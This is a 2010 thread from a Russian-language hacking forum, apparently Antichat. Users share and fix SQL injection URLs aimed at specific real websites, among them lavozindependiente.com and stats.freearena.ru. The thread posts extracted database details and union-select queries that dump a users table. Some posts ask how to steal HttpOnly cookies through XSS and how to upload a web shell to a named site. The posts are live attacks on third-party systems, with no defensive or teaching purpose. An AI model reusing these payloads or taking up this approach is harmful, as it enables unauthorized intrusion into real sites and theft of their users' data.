03.04.2010, 16:21
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами:
8803961
Репутация:
8
|
|
Сообщение от Pashkela
Код:
http://www.lavozindependiente.com/microsite.php?cha=66+and+substring(version(),1,1)=5
@@tmpdir: /tmp
@@basedir: /usr/
version(): 5.1.44
@@datadir: /var/lib/mysql/
@@version_compile_os: redhat-linux-gnu
user(): hdn_bo_user@orinoco.venred.com
database(): lavozi_lavozindependiente_com_-_db
дальше сложнее, т.к. и union и select фильтруются неподецки Pashkela как ты обошел фильтрацию, чтобы вытянуть это:
user(): hdn_bo_user@orinoco.venred.com
database(): lavozi_lavozindependiente_com_-_db
version(): 5.1.44
http://www.lavozindependiente.com/microsite.php?cha=66+order+by+3+--+
http://www.lavozindependiente.com/microsite.php?cha=-66+union+select+1,2,3+--+
Я пробовал, у меня не получается.
|
|
|
02.04.2010, 16:27
|
|
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
С нами:
10339586
Репутация:
1396
|
|
Сообщение от G1G
Парни , кто часто с blind Работает помогите раскурить , сам пока мало что понимаю:
http://www.lavozindependiente.com/news.php?nid=517'
Что то сам пытался..
http://www.lavozindependiente.com/news.php?nid=517+and+substring(@@version,1,1)=4=fa lse
http://www.lavozindependiente.com/news.php?nid=517+and+substring(@@version,1,1)=5=tr ue
вот статья одного парня, желательно прочесть:
https://forum.antichat.ru/thread104591.html
|
|
|
|
02.04.2010, 08:33
|
|
Новичок
Регистрация: 03.07.2009
Сообщений: 11
С нами:
8872099
Репутация:
0
|
|
Вопрос по XSS
Подскажите как можно получить все куки, если часть куков имеют флаг HttpOnly, и javascript не может получить доступ к ним.
Пробовал использовать обьект XMLHttpRequest, но и он не может извлечь куки.
|
|
|
|
02.04.2010, 16:01
|
|
Новичок
Регистрация: 16.12.2009
Сообщений: 18
С нами:
8633175
Репутация:
3
|
|
Здравствуйте есть скуля http://stats.freearena.ru/cs_SuperHero/sh_hero.php?hero=1'+union+select+id,2,3,4,5,6,7+FR OM+'Users'+limit+1,1/*
через INFORMATION_SCHEMA.TABLES нашел табл. users пытаюсь вывести не хочет выводить может прав нету или она в другой бд висит?
|
|
|
|
02.04.2010, 16:04
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Код:
http://stats.freearena.ru/cs_SuperHero/sh_hero.php?hero=1'+union+select+count(id),2,3,4,5,6,7+from+users/*
1 - запись только. Users в кавычки брать не надо |
|
|
|
02.04.2010, 16:10
|
|
Новичок
Регистрация: 16.12.2009
Сообщений: 18
С нами:
8633175
Репутация:
3
|
|
спасибо) но так не интересно была бы бд общая)
|
|
|
|
02.04.2010, 16:16
|
|
Новичок
Регистрация: 16.12.2009
Сообщений: 18
С нами:
8633175
Репутация:
3
|
|
http://cstrike.freearena.ru/stats/cs/Classic/index.php тут шелл залить никак нельзя?
|
|
|
|
02.04.2010, 18:16
|
|
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
С нами:
8603287
Репутация:
87
|
|
_http://shop.rappers.in/alph_search_result.php?page=-2 тут вообще чтото можно сделать? с этой ecommerce... =(
|
|
|
|
02.04.2010, 18:41
|
|
Новичок
Регистрация: 16.12.2009
Сообщений: 18
С нами:
8633175
Репутация:
3
|
|
Сообщение от [Feldmarschall]
_http://shop.rappers.in/alph_search_result.php?page=-2 тут вообще чтото можно сделать? с этой ecommerce... =(
так вроде нет sql инъекции просто ошибка
|
|
|
|
03.04.2010, 00:17
|
|
Участник форума
Регистрация: 12.07.2009
Сообщений: 158
С нами:
8859263
Репутация:
334
|
|
Сообщение от [Feldmarschall]
_http://shop.rappers.in/alph_search_result.php?page=-2 тут вообще чтото можно сделать? с этой ecommerce... =(
Переменная в число кажется преобразовывается, ничего сделать нельзя.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [Feldmarschall]](/avatars/avatar109813.jpg?2037178){kind=avatar}
Похожие темы
Комбинированный вид
